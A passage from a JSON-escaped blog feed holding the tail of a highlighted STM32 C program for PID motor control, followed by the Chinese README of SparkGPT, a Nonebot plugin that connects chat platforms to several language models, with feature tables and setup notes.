class=\"n\"\u003eVelocity\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003e__HAL_TIM_SET_COMPARE\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eVelocity\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eDead_Voltage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 固定时间间隔的 中断控制, 每0.1秒多执行一次\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PeriodElapsedCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 读取实际转速(相当于转速)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eRead_Encoder\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 转速累和相当于总距离(实际上转速使用这个总距离做差才算出来的,前面已经解释过了)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 每次先判断是不是已经到了设定的要转的总距离, 如果是, 刹车关定时器重置相关参数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 刹车\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 停止计时器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 用PID算法计算出要设定的pwm值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里串口输出一下调试信息,方便查看\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;target: %d, real: %d, set: %d\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设定pwm值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eSet_Pwm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END 4 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief This function is executed in case of error occurrence.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval None\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eError_Handler\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Error_Handler_Debug */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* User can add his own implementation to report the HAL error return state */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003e__disable_irq\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END Error_Handler_Debug */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#ifdef USE_FULL_ASSERT\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief Reports the name of the source file and the source line number\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * where the assert_param error has occurred.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param file: pointer to the source file name\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param line: assert_param error line source number\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval None\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eassert_failed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003euint32_t\u003c/span\u003e \u003cspan class=\"n\"\u003eline\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 6 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* User can add his own implementation to report the file name and line number,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e ex: printf(\u0026#34;Wrong parameters value: file %s on line %d\\r\\n\u0026#34;, file, line) */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 6 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#endif \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* USE_FULL_ASSERT */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/"},{"title":"SparkGPT","time":"2023-09-10T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt/cover.png\" alt=\"Featured image of post SparkGPT\"/\u003e\u003ch2 id=\"项目地址---spark-gpthttpsgithubcomcanxin121spark-gpt\"\u003e项目地址 -\u0026gt; \u003ca class=\"link\" href=\"https://github.com/canxin121/Spark-GPT\" target=\"_blank\" rel=\"noopener\"\u003eSpark-GPT\u003c/a\u003e\u003c/h2\u003e\n\u003ch2 id=\"feature\"\u003eFeature\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e使用Nonebot框架跨适配器实现,多聊天平台同步实现\u003c/li\u003e\n\u003cli\u003e支持 QQ, QQ频道, Kook, 飞书, Telegram, Discord\u003c/li\u003e\n\u003cli\u003e支持跨平台账户绑定,多平台账户统一数据\u003c/li\u003e\n\u003cli\u003e适配多来源语言模型, 多态模型\u003c/li\u003e\n\u003cli\u003e实现 多用户, 多会话窗口, 公共会话和私有会话\u003c/li\u003e\n\u003cli\u003e实现 流式输出 , 文转图, 文转网络剪切板链接\u003c/li\u003e\n\u003cli\u003e实现WebUi编辑配置,实时热更新\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"todo\"\u003eToDo\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e负载均衡\u003c/li\u003e\n\u003cli\u003e用户权限系统\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"模型来源支持情况\"\u003e模型来源支持情况\u003c/h2\u003e\n\u003cp\u003e✔️:支持 ❌:不支持\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e来源\u003c/th\u003e\n\u003cth\u003e传入文本\u003c/th\u003e\n\u003cth\u003e传入图片\u003c/th\u003e\n\u003cth\u003e输出文本\u003c/th\u003e\n\u003cth\u003e输出图片\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eNewbing\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ePoe\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eChatGPT Api\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eChatGPT 网页\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eClaude.Ai\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSlack Claude\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003ePs: \u003ccode\u003e各来源的配置使用均在WebUi中已有详细说明\u003c/code\u003e\u003c/p\u003e\n\u003ch2 id=\"聊天平台支持情况\"\u003e聊天平台支持情况\u003c/h2\u003e\n\u003cp\u003e✔️:支持 ❌:不支持\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e来源\u003c/th\u003e\n\u003cth\u003e传入文本\u003c/th\u003e\n\u003cth\u003e传入图片\u003c/th\u003e\n\u003cth\u003e输出文本\u003c/th\u003e\n\u003cth\u003e输出图片\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eQQ\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eQQ频道\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKook\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e飞书\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e❌\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eTelegram\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDiscord\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003ctd\u003e✔️\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003ePs: \u003ccode\u003e各聊天平台接入,请查看对应的Nonebot适配器使用说明\u003c/code\u003e\u003c/p\u003e\n\u003ch2 id=\"教程\"\u003e教程\u003c/h2\u003e\n\u003ch3 id=\"基本概念说明\"\u003e基本概念说明\u003c/h3\u003e\n\u003ch4 id=\"会话-chat-\"\u003e会话( chat )\u003c/h4\u003e\n\u003cp\u003e在本插件中,\u003ccode\u003e会话\u003c/code\u003e指的是 一个独立的由指定\u003ccode\u003e模型\u003c/code\u003e驱动的聊天上下文\u003c/p\u003e\n\u003cp\u003e会话的分类如下:\u003c/p\u003e\n\u003cpre class=\"mermaid\"\u003egraph TD\nChat[\u0026#34;会话\u0026#34;]\nPrivateChat[\u0026#34;私有会话\u0026#34;]\nPublicChat[\u0026#34;公有会话\u0026#34;]\nQPrivateChat[\u0026#34;QQ的一个和好友的聊天窗口,\\n你们的对话时私有的,\\n别的用户没办法加入到你们的对话中来.\\n为了保证上下文的连贯性,\\n同一个会话必须一问一答.\u0026#34;]\nQPublicChat[\u0026#34;QQ的一个群聊窗口, \\n所有用户都可以使用.\\n但用户是提问者,\\n只有一个 语言模型 是回答者,\\n为了保证上下文的连贯性,\\n语言模型只能 一个一个顺序 回答问题,\\n 不能同时回答你们\u0026#34;]\nChat --\u0026gt; PrivateChat --\u0026gt; |\u0026#34;类似于\u0026#34;|QPrivateChat\nChat --\u0026gt; PublicChat --\u0026gt; |\u0026#34;类似于\u0026#34;|QPublicChat\n\u003c/pre\u003e\n\u003c!-- 模型开始 --\u003e\n\u003ch4 id=\"模型-model-\"\u003e模型( model )\u003c/h4\u003e\n\u003cp\u003e在本插件中,\u003ccode\u003e模型\u003c/code\u003e指的是驱动\u003ccode\u003e会话\u003c/code\u003e的实际的回复人\n\u003ccode\u003e模型\u003c/code\u003e需要在web ui中配置相关内容才可以启用\u003c/p\u003e\n\u003ch4 id=\"预设-prompt-\"\u003e预设( prompt )\u003c/h4\u003e\n\u003cp\u003e在本插件中,\u003ccode\u003e预设\u003c/code\u003e指每次新对话开始前,优先加载的\u003cstrong\u003e人格\u003c/strong\u003e\u003cbr/\u003e\n原理:\u003cbr/\u003e\n基本是在\u003ccode\u003e会话\u003c/code\u003e开始前,自动先向会话中发送预设文本,也有特殊的来源会使用其他方法\u003c/p\u003e\n\u003cp\u003e注意:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e预设\u003c/code\u003e 不一定对所有的\u003ccode\u003e模型\u003c/code\u003e都有效,因为有些模型本身会 阻止这种对模型输出行为的干预\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e预设\u003c/code\u003e 的字数不是越长越好, 字数也会有\u003cstrong\u003e上限\u003c/strong\u003e,各模型的上限不一, 超出上限会报错, 只能自行更改预设\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- 模型结束 --\u003e\n\u003c!-- 指令开始 --\u003e\n\u003ch4 id=\"指令-command-\"\u003e指令( command )\u003c/h4\u003e\n\u003cp\u003e在本插件中,\u003ccode\u003e指令\u003c/code\u003e指自动填充在问题前面的指令,可以用来命令\u003ccode\u003e模型\u003c/code\u003e一定的格式或者要求进行回复\u003c/p\u003e\n\u003cp\u003e原理:\n在发送用户的问题之前,现在用户的问题前面加上\u003ccode\u003e指令\u003c/code\u003e文本,然后再发送过去\n注意:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e指令\u003c/code\u003e字数有\u003cstrong\u003e上限\u003c/strong\u003e,各模型的上限不一, 超出上限会报错, 只能自行更改指令\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- 指令结束 --\u003e\n\u003c!-- 基本使用逻辑开始 --\u003e\n\u003ch3 id=\"基本使用逻辑说明\"\u003e基本使用逻辑说明\u003c/h3\u003e\n\u003cpre class=\"mermaid\"\u003egraph TD\nCU[\u0026#34;用户\u0026#34;]\nML[\u0026#34;获取模型列表\u0026#34;]\nPL[\u0026#34;获取预设列表\u0026#34;]\nCmdL[\u0026#34;获取指令列表\u0026#34;]\nCL[\u0026#34;获取可用会话 (公有 | 私有)\u0026#34;]\nCAprivate[\u0026#34;创建新的会话 (私有 | 公有 {仅管理员} ) \u0026#34;]\nCC[\u0026#34;使用会话\u0026#34;]\nCPC[\u0026#34;回复来继续会话\u0026#34;]\nCU --\u0026gt; CL\nCU --\u0026gt; ML\nCU --\u0026gt; CmdL\nCU --\u0026gt; PL\nML --\u0026gt; CAprivate\nCmdL --\u0026gt; CAprivate\nPL --\u0026gt; CAprivate\nCL --\u0026gt; CC\nCAprivate --\u0026gt; CC\nCC --\u0026gt; CPC\n\u003c/pre\u003e\n\u003c!-- 基本使用逻辑结束 --\u003e\n\u003ch3 id=\"部署教程\"\u003e部署教程\u003c/h3\u003e\n\u003ch4 id=\"部署nonebot\"\u003e部署Nonebot\u003c/h4\u003e\n\u003cp\u003e\u003cstrong\u003e这里直接看Well404的教程吧,点击即可跳转到b站系列教程\u003c/strong\u003e\n\u003c/p\u003e\u003cdiv class=\"video-wrapper\"\u003e\n\u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026amp;aid=608028309\u0026amp;autoplay=0\" scrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n\u003c/iframe\u003e\n\u003c/div\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch4 id=\"部署各适配器\"\u003e部署各适配器\u003c/h4\u003e\n\u003cp\u003e在这里我直接贴出个适配器的官方使用文档或者合适的教程了\u003c/p\u003e\n\u003ch5 id=\"qqobv11\"\u003eQQ(OBV11)\u003c/h5\u003e\n\u003cp\u003e首先是qsign的部署,这个目前是 必须的\u003c/p\u003e\n\u003cdiv class=\"video-wrapper\"\u003e\n\u003ciframe 